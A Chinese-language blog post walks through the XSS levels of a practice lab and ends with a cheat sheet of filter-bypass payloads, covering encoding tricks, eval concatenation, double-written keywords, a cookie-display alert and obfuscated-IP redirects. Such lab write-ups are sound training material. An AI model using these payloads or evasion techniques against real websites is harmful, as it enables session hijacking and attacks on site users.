xss(跨站脚本)

XSS(跨站脚本)概述

Cross-Site Scripting 简称为“CSS”,为避免与前端叠成样式表的缩写"CSS"冲突,故又称XSS。一般XSS可以分为如下几种常见类型:
    1.反射性XSS;
    2.存储型XSS;
    3.DOM型XSS;

xss触发方式
(1)在标签外:

<script>alert(1)</script> 

(2)在标签内:

使用事件型:(先用引号闭合,看看是否有过滤如果有使用大小写试验)

(1)12' οnclick='alert(1)

在<a>标签内不能使用<script>标签,使用<img>标签

(2)123"><img src='1223' οnclick=alert(1)><"

标签内资源类型是url使用伪协议javascript:alert(1)  

反射型xss(get)

1、  受害者访问攻击者构造的页面

2、  将攻击者构造的payload发送到后端,然后由后端再返回给前端

输入个<script>alert(1)</script>试试。

发现输入框有长度限制。

此时有一条阳关道,有一根独木桥。

阳关道

阳关道是直接在地址栏插payload:

<script>alert(1)</script>

 独木桥

独木桥是请出开发者工具,修改html代码中的输入框长度限制,然后在输入框中输入payload并提交。之所以叫独木桥就是因为每输入一个payload之前都要改一次输入框长度限制。。。

首先在输入框 鼠标右键--检查  弹出开发者工具

改大上图中的maxlength,比如改成100:

反射型xss(post)

1、  受害者访问攻击者构造的页面

2、  将攻击者构造的payload发送到后端,然后由后端再返回给前端

登录admin账号之后,和上一关差不多。。而且这关的输入框还没有长度限制

<script>alert(1)</script>

存储型xss

将攻击者构造的恶意代码,存储到数据库中,并且在网站页面上自动执行代码。

它是一个留言板,来玩玩

输入payload:<script>alert("交出你的cookie");alert(document.cookie)</script>

提交之后首先弹出下图,对应payload中的  alert("交出你的cookie")

点 确定 之后又弹出下图,对应payload中的  alert(document.cookie)

点 确定 之后就变成下图这样了,虽然留言内容显示不出来,但是对比一开始进来的时候可以看到多了个“删除”,说明确实多了一条留言

右键--查看网页源代码  的话,可以看到payload在html代码中是原封不动的。。

DOM型xss

需要用户点击

数据不到后端,直接由前端js进行处理

一个输入框,先输入个<script>alert(1)</script>试试。

没有弹框,回显了一个链接名曰“what do you see?

鼠标右键--查看网页源代码,Ctrl+F弹出搜索框,输入what do you see看看

找到了一段js代码,寻找DOM XSS的本质是做js语言阅读理解题。。

假装看不到注释的提示(/▽\)这段js代码的意思是会把用户提交的内容输出到<a>标签中,这样的话,就需要闭合标签和引号
 

123456' onclick='alert(1)

在<a>标签内不能使用<script>标签,使用<img>标签

'><img src=1 οnerrοr='alert(`xss`)

 

DOM型xss-x

在输入框中输了个“吃瓜”,提交之后发现吃瓜群众跑到url里面去了(这就是和上一关的不同),然后多出来个链接“有些费尽心机想要忘记的事情,后来真的就忘掉了

既然还是DOM型,就 鼠标右键 -- 查看网页源代码

假装看不到提示(还有注意下图这个alert(xss)是注释掉的。。我还研究了半天这句放在这儿干嘛 ╯︿╰)

这题跟第4题没啥差别,就是比第4题更容易利用而已

注意下图中高亮的那行,本关输入payload之后需要点击链接“有些费尽心机想要忘记的事情,后来真的就忘掉了”才能触发domxss()函数,从而触发XSS

输入第4关的payload:'><img src=1 onerror=alert("xss");>

题外话:

由于本关payload在url中,因此比上一关好利用很多

xss之盲打

<script>alert(1)</script>

                                  

提交之后发现输入的东西完全不显示在页面上,去哪儿了呢?

查看网页源代码之后,发现本关的输入是以POST方法提交的,但是form标签里没有action属性,也不知道表单数据被提交到哪里去了呀。。。

点一下提示,原来要登录后台才能迎接攻击啊 

 

 

 xss之过滤

随便输入一些内容,提交之后发现页面有回显输入的内容,url中也有输入的内容,离开本页面再回来,页面就没有这个内容了,说明是反射型GET型XSS

可以把这些一个个输入提交试试,也可以一起提交,然后就发现了好玩的情况,如果单独输入"<>'on/`()则什么都没有被过滤,如果输入了"<>'on/`() script img href src,则<>'on/`() script被删掉了,这说明什么问题?这说明过滤语句超可能是<.*script

       

那就不要用<script>标签了,用<img>标签试试,输入payload:<img src=1 onerror=alert("xss");>

当然还有别的绕过方法:

大小写绕过<sCript>alert(1)</scRipt>
过滤空格
用/代替空格
<img/src="x"/onerror=alert("xss");>

过滤关键字

大小写绕过
<ImG sRc=x onerRor=alert("xss");>

双写关键字
有些waf可能会只替换一次且是替换为空,这种情况下我们可以考虑双写关键字绕过
<imimgg srsrcc=x onerror=alert("xss");>

字符拼接
利用eval
<img src="x" onerror="a=`aler`;b=`t`;c='(`xss`);';eval(a+b+c)">

利用top
<script>top["al"+"ert"](`xss`);</script>

其它字符混淆
有的waf可能是用正则表达式去检测是否有xss攻击,如果我们能fuzz出正则的规则,则我们就可以使用其它字符去混淆我们注入的代码了
下面举几个简单的例子

可利用注释、标签的优先级等
1.<<script>alert("xss");//<</script>

2.<title><img src=</title>><img src=x onerror="alert(`xss`);"> //因为title标签的优先级比img的高,所以会先闭合title,从而导致前面的img标签无效

3.<SCRIPT>var a="\\";alert("xss");//";</SCRIPT>
编码绕过
Unicode编码绕过
<img src="x" onerror="&#97;&#108;&#101;&#114;&#116;&#40;&#34;&#120;&#115;&#115;&#34;&#41;&#59;">

<img src="x" onerror="eval('\u0061\u006c\u0065\u0072\u0074\u0028\u0022\u0078\u0073\u0073\u0022\u0029\u003b')">

url编码绕过
<img src="x" onerror="eval(unescape('%61%6c%65%72%74%28%22%78%73%73%22%29%3b'))">

<iframe src="data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E"></iframe>

Ascii码绕过
<img src="x" onerror="eval(String.fromCharCode(97,108,101,114,116,40,34,120,115,115,34,41,59))">

hex绕过
<img src=x onerror=eval('\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29')>

八进制
<img src=x onerror=alert('\170\163\163')>

base64绕过
<img src="x" onerror="eval(atob('ZG9jdW1lbnQubG9jYXRpb249J2h0dHA6Ly93d3cuYmFpZHUuY29tJw=='))">

<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">

过滤双引号,单引号
1.如果是html标签中,我们可以不用引号。如果是在js中,我们可以用反引号代替单双引号
<img src="x" onerror=alert(`xss`);>

2.使用编码绕过,具体看上面列举的例子,不多赘述了

过滤括号
当括号被过滤的时候可以使用throw来绕过
<svg/onload="window.onerror=eval;throw'=alert\x281\x29';">

过滤url地址
使用url编码
<img src="x" onerror=document.location=`http://%77%77%77%2e%62%61%69%64%75%2e%63%6f%6d/`>

使用IP
1.十进制IP
<img src="x" onerror=document.location=`http://2130706433/`>

2.八进制IP
<img src="x" onerror=document.location=`http://0177.0.0.01/`>

3.hex
<img src="x" onerror=document.location=`http://0x7f.0x0.0x0.0x1/`>

4.html标签中用//可以代替http://
<img src="x" onerror=document.location=`//www.baidu.com`>

xss之htmlspecialchars 

htmlspecialchars转义特殊字符

&:转换为&

":转换为"

':转换为成为 '

<:转换为<

>:转换为>
javascript伪协议

伪协议说明:

javascript:这个特殊的协议类型声明了URL的主体是任意的javascript代码,它由javascript的解释器运行。

①将javascript代码添加到客户端的方法是把它放置在伪协议说明符javascript:后的URL中。

这个特殊的协议类型声明了URL的主体是任意的javascript代码,它由javascript的解释器运行。如果javascript:URL中的javascript代码含有多个语句,必须使用分号将这些语句分隔开。这样的URL如下所示:

javascript:var now = new Date(); "<h1>The time is:</h1>" + now;
javascript伪协议可以在HTML链接中触发代码的执行

<a>标签
<a href="javascript:alert(`xss`);">xss</a>

<iframe>标签
<iframe src=javascript:alert('xss');></iframe>

<img>标签
<img src=javascript:alert('xss')>//IE7以下

<form>标签
<form action="Javascript:alert(1)"><input type=submit>
使用伪协议javascript:alert(1) 

 

xss之href输出 

根据提示输入网站url

<a> 标签的 href 属性用于指定超链接目标的 URL。

href 属性的值可以是任何有效文档的相对或绝对 URL,包括片段标识符和 JavaScript 代码段。如果用户选择了 <a> 标签中的内容,那么浏览器会尝试检索并显示 href 属性指定的 URL 所表示的文档,或者执行 JavaScript 表达式、方法和函数的列表。

所以 可以利用JavaScript协议。输入payload:javascript:alert(1)

xss之js输出 

还是输入<script>alert(1)</script>试试,果不其然没有弹框

鼠标右键--查看网页源代码,刚刚输入的东西跑到<script>标签内了,并且没有被编码

这就很easy了,只要无中生有出一个js语句就好了,怎么生呢首先要用';闭合掉当前的语句,然后插入新语句,然后再用//注释掉老语句遗留下来的';

输入payload:';alert(1);//

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 2
    评论
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值